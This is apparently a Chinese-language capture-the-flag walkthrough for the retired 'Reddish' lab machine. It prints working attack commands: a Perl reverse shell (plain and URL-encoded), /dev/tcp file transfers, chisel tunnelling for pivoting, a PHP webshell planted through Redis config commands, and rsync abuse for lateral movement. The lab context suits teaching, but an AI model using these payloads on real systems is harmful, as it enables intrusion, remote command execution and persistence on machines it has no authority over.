本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.94
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.94 -o ./Reddish-autorecon
此靶机难度较大,官方显示信息:
根据扫描结果就开了一个1880端口
访问了下显示上面的信息,提示不能使用GET请求方法,于是通过burpsuite更改成POST请求访问
根据上面的提示,得知访问路径是/red/再加上对应的id信息得到的路径:/red/0d7d8c5616fbbcf5f1bf0020f3cb15e5/
得到了Node-RED,详情查看:https://siot.readthedocs.io/zh_CN/latest/3.demo/02_Node-RED.html ,所以通过构建一个连接,反弹到了shell
查询了当前反弹shell的环境只含有perl环境,只能使用perl进行反弹shell
perl -e 'use Socket;$i="10.10.14.6";$p=8844;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
通过上述环境得到的IP地址,探测一下存活主机和开放的端口,使用了for循环探测和nmap的静态二进制文件
docker环境下命令很少,使用循环ping探测存活主机 for i in $(seq 1 20); do (ping -c 1 172.18.0.$i | grep "bytes from"); done for i in $(seq 1 20); do (ping -c 1 172.19.0.$i | grep "bytes from"); done 一般在目标环境恶劣的情况下,不方便安装和编译软件可以使用静态的二进制文件进行完成下一步工作 https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
将下载好本地kali的文件传到目标靶机,看如下操作
在目标靶机上没有nc命令的情况下使用nc传文件操作 本地kali操作 1.准备好要复制的静态二进制文件nmap 2.准备好/etc/services文件 3.本地nc监听端口并带入标准输入重定向指定要传输的文件 nc -lvnp 5555 < nmap nc -lvnp 5555 < services 目标靶机操作 执行之前可以通过md5sum比对传输前后的md5值确认文件传输过程未损坏 1.bash -c "cat < /dev/tcp/10.10.14.6/5555 > nmap" 2.bash -c "cat < /dev/tcp/10.10.14.6/5555 > services"
最终扫描对应可疑的开放IP地址
./nmap -p- -sT --min-rate 5000 172.19.0.2 ./nmap -p- -sT --min-rate 5000 172.19.0.4
另一种传输文件的方法-通过将文件编码成base64编码然后粘贴到目标靶机将base64进行解码即可,下面是在线将文件转换成base64编码
https://base64.guru/converter/encode/file
cat <<EOF>>shellbase64 cat shellbase64 | base64 -d > shellbmfx
通过上述的操作已经成功反弹到docker环境下的另一台主机,通过用上面相同的方式扫描出来了开放了端口80和6379,但是不对外开放,这样操作不方便,这里可以通过获取的shell升级成metasploit的meterpreter然后使用端口转发到本地kali进行访问,不过这里测试访问6379端口有点问题,于是换了一种方式,具体如下:
go语言写的牛逼隧道技术 https://github.com/jpillora/chisel/releases 本地kali中执行 ./chisel server -v -reverse -p 8868 目标靶机上执行 ./chisel client 10.10.14.6:8868 R:127.0.0.1:8890:172.19.0.4:80 & ./chisel client 10.10.14.6:8868 R:127.0.0.1:6379:172.19.0.2:6379 &
上面go语言写的工具还是很靠谱的,很稳定
成功之后即可正常本地访问了
查看网页的源代码看看
从上面可以知道目标web应用有个目录 f187a0ec71ce99642e4f0afbd441a68b 可以配置目标靶机开放的另一个端口6379的redis服务写入webshell,具体如下
利用redis写入webshell redis-cli config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b config set dbfilename bmfx.php save 上面的前提是本地已经有了文件bmfx.php,内容如下: <?php echo system($_REQUEST['bmfx']); ?>
这里需要注意,写入webshell成功感觉反弹shell,不然过一会shell就会被删除
反弹shell代码 perl%20-e%20%27use%20Socket%3b$i%3d%22172.19.0.3%22%3b$p%3d8877%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(%22tcp%22))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,%22%3E%26S%22)%3bopen(STDOUT,%22%3E%26S%22)%3bopen(STDERR,%22%3E%26S%22)%3bexec(%22/bin/sh+-i%22)%3b}%3b%27
注意是在目标docker环境进行反弹,这里同样需要下载静态二进制文件ncat进行本地监听端口反弹shell
成功反弹shell,通过遍历本机的文件,发现有个backup文件里面有个备份shell代码
看见含有rsync命令进行备份了,可以通过此命令备份的期间执行命令再反弹shell,详情参考:https://gtfobins.github.io/gtfobins/rsync/
将上面shell升级成tty友好的交互shell然后使用rsync命令同步反弹代码进行跳转移动到其他主机
上述操作完毕就可以利用rsync同步反弹代码到目标机器上,然后本地监听端口8823等待目标靶机计划任务执行即可
通过遍历磁盘信息,挂载磁盘sda1